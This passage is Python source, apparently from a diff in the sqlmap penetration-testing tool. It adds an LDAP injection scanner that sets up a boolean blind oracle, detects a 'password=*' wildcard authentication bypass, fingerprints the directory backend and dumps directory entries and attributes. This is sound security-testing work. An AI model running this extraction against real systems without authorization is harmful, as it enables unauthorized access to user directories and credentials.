|
||||
logger.debug("LDAP blind inference: %d probes for attribute '%s' (length=%d)" % (probes, attr, len(value)))
|
||||
return value if value else None
|
||||
|
||||
|
||||
def _fingerprintByAttribute(oracle, builder):
|
||||
for attr, expected, backend in LDAP_FINGERPRINT_ATTRIBUTES:
|
||||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
if expected:
|
||||
if oracle.extract(builder.contains(attr, expected)):
|
||||
return backend
|
||||
else:
|
||||
return backend
|
||||
|
||||
return None
|
||||
|
||||
|
||||
def _dumpInband(oracle, slot):
|
||||
"""If the always-true template page exposes directory entries directly
|
||||
(e.g. as JSON), extract them in one shot instead of blind brute-force."""
|
||||
import json
|
||||
|
||||
page = oracle.template
|
||||
if not page or not page.strip().startswith('{'):
|
||||
return False
|
||||
|
||||
try:
|
||||
data = json.loads(page)
|
||||
entries = data.get("entries") or data.get("results") or ()
|
||||
except (ValueError, TypeError):
|
||||
return False
|
||||
|
||||
if not entries or not isinstance(entries, (list, tuple)):
|
||||
return False
|
||||
|
||||
columns = []
|
||||
seen = set()
|
||||
for entry in entries:
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
for key in entry:
|
||||
if key not in seen:
|
||||
columns.append(getUnicode(key))
|
||||
seen.add(key)
|
||||
|
||||
if not columns:
|
||||
return False
|
||||
|
||||
rows = []
|
||||
for entry in entries:
|
||||
if not isinstance(entry, dict):
|
||||
continue
|
||||
rows.append(tuple(getUnicode(entry.get(c, "")) for c in columns))
|
||||
|
||||
# Drop columns where every row is empty (common with wide schemas).
|
||||
populated = []
|
||||
for ci, col in enumerate(columns):
|
||||
if any(r[ci] for r in rows):
|
||||
populated.append(ci)
|
||||
if populated and len(populated) < len(columns):
|
||||
columns = [columns[i] for i in populated]
|
||||
rows = [tuple(r[i] for i in populated) for r in rows]
|
||||
|
||||
logger.info("in-band data exposure: %d record(s)" % len(rows))
|
||||
_dumpTable("LDAP: %s parameter '%s' in-band entries" % (slot.place, slot.parameter),
|
||||
columns, rows)
|
||||
return True
|
||||
|
||||
|
||||
def _probeRootDSE(oracle, builder):
|
||||
for attr in ("namingContexts", "subschemaSubentry", "vendorName", "vendorVersion"):
|
||||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
value = _inferAttribute(oracle, builder, attr)
|
||||
if value:
|
||||
logger.info("directory %s: '%s'" % (attr, value))
|
||||
|
||||
|
||||
def _enumerateEntryKeys(oracle, builder):
|
||||
for keyAttr in ENTRY_KEY_ATTRIBUTES:
|
||||
if not _exists(oracle, builder, keyAttr):
|
||||
continue
|
||||
|
||||
values = []
|
||||
while len(values) < LDAP_MAX_RECORDS:
|
||||
exclusions = [(keyAttr, _) for _ in values]
|
||||
value = _inferAttribute(oracle, builder, keyAttr, exclusions=exclusions)
|
||||
|
||||
if not value or value in values:
|
||||
break
|
||||
|
||||
values.append(value)
|
||||
logger.info("identified directory entry: %s='%s'" % (keyAttr, value))
|
||||
|
||||
if values:
|
||||
return keyAttr, values
|
||||
|
||||
return None, []
|
||||
|
||||
|
||||
def _dumpEntries(oracle, builder, place, parameter):
|
||||
keyAttr, keys = _enumerateEntryKeys(oracle, builder)
|
||||
if not keys:
|
||||
logger.warning("could not identify a stable directory entry key")
|
||||
return False
|
||||
|
||||
rows = []
|
||||
discovered = set()
|
||||
|
||||
for key in keys:
|
||||
constraint = (keyAttr, key)
|
||||
row = {keyAttr: key}
|
||||
logger.info("extracting attributes for entry %s='%s'" % (keyAttr, key))
|
||||
|
||||
for attr in DUMP_ATTRIBUTES:
|
||||
if attr == keyAttr:
|
||||
continue
|
||||
|
||||
logger.info("probing attribute '%s'" % attr)
|
||||
if not _exists(oracle, builder, attr, constraint=constraint):
|
||||
continue
|
||||
|
||||
value = _inferAttribute(oracle, builder, attr, constraint=constraint)
|
||||
if value:
|
||||
row[attr] = value
|
||||
discovered.add(attr)
|
||||
|
||||
rows.append(row)
|
||||
|
||||
columns = [keyAttr] + [_ for _ in DUMP_ATTRIBUTES if _ != keyAttr and _ in discovered]
|
||||
tableRows = [tuple(row.get(column, "") for column in columns) for row in rows]
|
||||
|
||||
logger.info("dumped %d entr%s" % (len(rows), "y" if len(rows) == 1 else "ies"))
|
||||
_dumpTable("LDAP: %s parameter '%s' directory entries" % (place, parameter), columns, tableRows)
|
||||
return True
|
||||
|
||||
|
||||
def _dumpMultiValues(oracle, builder, place, parameter):
|
||||
dumped = False
|
||||
|
||||
for attr in MULTI_VALUE_ATTRIBUTES:
|
||||
if not _exists(oracle, builder, attr):
|
||||
continue
|
||||
|
||||
value = _inferAttribute(oracle, builder, attr)
|
||||
if value:
|
||||
logger.info("fetched 1 value from attribute '%s'" % attr)
|
||||
_dumpTable("LDAP: %s parameter '%s' '%s' values" % (place, parameter, attr), [attr], [(value,)])
|
||||
dumped = True
|
||||
|
||||
return dumped
|
||||
|
||||
|
||||
def _grid(columns, rows):
|
||||
columns = [getUnicode(_) for _ in columns]
|
||||
rows = [[getUnicode(_) for _ in row] for row in rows]
|
||||
|
||||
widths = []
|
||||
for index, column in enumerate(columns):
|
||||
width = len(column)
|
||||
for row in rows:
|
||||
if index < len(row):
|
||||
width = max(width, len(row[index]))
|
||||
widths.append(width)
|
||||
|
||||
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
|
||||
|
||||
def line(cells):
|
||||
return "| " + " | ".join((cells[index] if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
|
||||
|
||||
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
|
||||
|
||||
|
||||
def _dumpTable(title, columns, rows):
|
||||
if rows:
|
||||
conf.dumper.singleString("%s:\n%s" % (title, _grid(columns, rows)))
|
||||
|
||||
|
||||
def ldapScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
debugMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP "
|
||||
debugMsg += "parameters and dumps reachable directory entries. SQL enumeration "
|
||||
debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = found = 0
|
||||
slots = []
|
||||
|
||||
for place in (_ for _ in LDAP_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing LDAP injection on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
# Phase 1: probe the LDAP filter parser for a backend hint.
|
||||
# This is NOT authoritative -- only a boolean oracle confirms
|
||||
# exploitable injection.
|
||||
backendHint, _errorPayload = _probeBackendByParserError(place, parameter)
|
||||
if backendHint:
|
||||
backendHint = _fingerprintByError(backendHint)
|
||||
|
||||
# Phase 2: establish a boolean oracle (authoritative).
|
||||
template, payload, breakout = _detectBoolean(place, parameter)
|
||||
if template and breakout:
|
||||
found += 1
|
||||
backend = backendHint or None
|
||||
logger.info("%s parameter '%s' is vulnerable to LDAP injection (back-end: '%s')" % (place, parameter, backend or "Generic"))
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
oracle = _makeOracle(place, parameter, template)
|
||||
slots.append(Slot(place=place, parameter=parameter, backend=backend, oracle=oracle, template=template, payload=payload, breakout=breakout))
|
||||
continue
|
||||
|
||||
# Phase 3: wildcard auth bypass (credential fields only).
|
||||
bypass = _detectAuthBypass(place, parameter)
|
||||
if bypass:
|
||||
found += 1
|
||||
logger.info("%s parameter '%s' allows LDAP wildcard auth bypass (password=*)" % (place, parameter))
|
||||
if conf.beep:
|
||||
beep()
|
||||
slots.append(Slot(place=place, parameter=parameter, bypass=bypass))
|
||||
continue
|
||||
|
||||
# Parser-error alone is not exploitable -- log it but do not
|
||||
# create a vulnerability report.
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' reaches an LDAP filter parser (back-end: '%s'), but no exploitable boolean oracle was established" % (place, parameter, backendHint))
|
||||
|
||||
if not slots:
|
||||
if tested:
|
||||
warnMsg = "no parameter appears to be injectable via LDAP injection (%d tested)" % tested
|
||||
else:
|
||||
warnMsg = "no parameters found to test for LDAP injection"
|
||||
logger.warning(warnMsg)
|
||||
return
|
||||
|
||||
# Print auth-bypass reports.
|
||||
for slot in slots:
|
||||
if slot.bypass:
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: LDAP auth bypass (wildcard)\n Payload: %s=%s\n---" % (slot.parameter, slot.place, slot.parameter, slot.bypass))
|
||||
|
||||
# Select the first oracle-bearing slot for fingerprint + enumeration.
|
||||
slot = next((_ for _ in slots if _.oracle and _.breakout), None)
|
||||
if not slot:
|
||||
logger.info("LDAP scan complete")
|
||||
return
|
||||
|
||||
# Refine backend fingerprint if we only have a generic hint.
|
||||
builder = _ProbeBuilder(slot.breakout)
|
||||
oracle = slot.oracle
|
||||
if not slot.backend or slot.backend == "Generic LDAP":
|
||||
backend = _fingerprintByAttribute(oracle, builder)
|
||||
if backend:
|
||||
logger.info("identified back-end DBMS: '%s'" % backend)
|
||||
slot = slot._replace(backend=backend)
|
||||
|
||||
# Determine extraction method: in-band if the template page already
|
||||
# contains parseable JSON entries, otherwise blind.
|
||||
import json
|
||||
page = oracle.template
|
||||
inband = False
|
||||
if page and page.strip().startswith('{'):
|
||||
try:
|
||||
data = json.loads(page)
|
||||
entries = data.get("entries") or data.get("results") or ()
|
||||
inband = bool(entries and isinstance(entries, (list, tuple)))
|
||||
except (ValueError, TypeError):
|
||||
pass
|
||||
|
||||
title = "LDAP in-band data exposure" if inband else "LDAP boolean-based blind"
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: LDAP injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload))
|
||||
|
||||
logger.info("probing RootDSE-style directory metadata")
|
||||
_probeRootDSE(oracle, builder)
|
||||
|
||||
if inband:
|
||||
dumped = _dumpInband(oracle, slot)
|
||||
else:
|
||||
dumped = _dumpEntries(oracle, builder, slot.place, slot.parameter)
|
||||
dumped = _dumpMultiValues(oracle, builder, slot.place, slot.parameter) or dumped
|
||||
|
||||
if not dumped:
|
||||
warnMsg = "LDAP injection is confirmed but no directory data could be extracted. "
|
||||
warnMsg += "The injection point may expose only a limited boolean oracle or ACLs restrict reads"
|
||||
logger.warning(warnMsg)
|
||||
|
||||
logger.info("LDAP scan complete")
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user